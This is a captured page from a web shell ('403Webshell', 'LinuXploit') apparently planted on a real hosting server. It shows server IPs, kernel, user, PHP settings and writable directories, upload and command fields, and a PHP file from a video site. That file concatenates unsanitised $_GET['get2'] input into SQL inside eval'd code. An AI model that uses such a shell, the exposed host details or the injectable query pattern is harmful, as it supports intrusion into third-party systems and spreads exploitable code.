403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.183
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/hqflix.com/public_html/t2/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/hqflix.com/public_html/t2/inc/functions.models.php
<?php
$ext_tplfile["ereg"]["models"]="^model$";
$ext_tplfile["eval"]["models"]="\$where[]=\"models.link='\".\$_GET[\"get2\"].\"'\"; \$join.=\" INNER JOIN model2video ON model2video.video_id=video.id INNER JOIN models ON model2video.model_id=models.id\";";
$ext_tplfile["break"]["models"]=true;	

$ext_variables["main"]["models"]["#MODELSLINKS[_]{0,1}([^#]*)#"]="showModels(1,0,\$matched[1]);";
$ext_variables["main"]["models"]["#MODELS[_]{0,1}([^#]*)#"]="showModels(0,0,\$matched[1]);";
$ext_variables["video"]["models"]["#MODELSLINKS[_]{0,1}([^#]*)#"]="showModels(1,\$result[id],\$matched[1]);";
$ext_variables["video"]["models"]["#MODELS[_]{0,1}([^#]*)#"]="showModels(0,\$result[id],\$matched[1]);";

function showModels($links=0, $video_id=0, $separator=", ")
{
	global $config, $conn, $basedir;
	$output=array();
	$wherestr="";

	if ($video_id!=0):
		$where[]="model2video.video_id='".$video_id."'";
		$wherestr=" WHERE ".implode(" AND ", $where);
	endif;

	$select_model=LDB_Exec($conn,"SELECT models.* FROM models INNER JOIN model2video ON model2video.model_id=models.id INNER JOIN video ON model2video.video_id=video.id".$wherestr." GROUP BY models.id ORDER BY models.name");
	if ((LDB_NumRows($select_model))>0):
		for ($u=0; $u<LDB_NumRows($select_model); $u++) {
				$result=LDB_Fetch_Array($select_model,$u);
				if ($links!=0):
					$output[]="<a href=\"".$basedir."/model/".$result["link"]."/\">".$result["name"]."</a>";
				else:
					$output[]=$result["name"];
				endif;
		}
	endif;
	
	if ($separator=="") $separator=", ";
	
	if (count($output)>0):
		if ($config["charset"]!="utf-8"):
			return @iconv("utf-8", $config["charset"], implode($separator, $output));
		else:
			return implode($separator, $output);
		endif;
	else:
		return false;
	endif;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit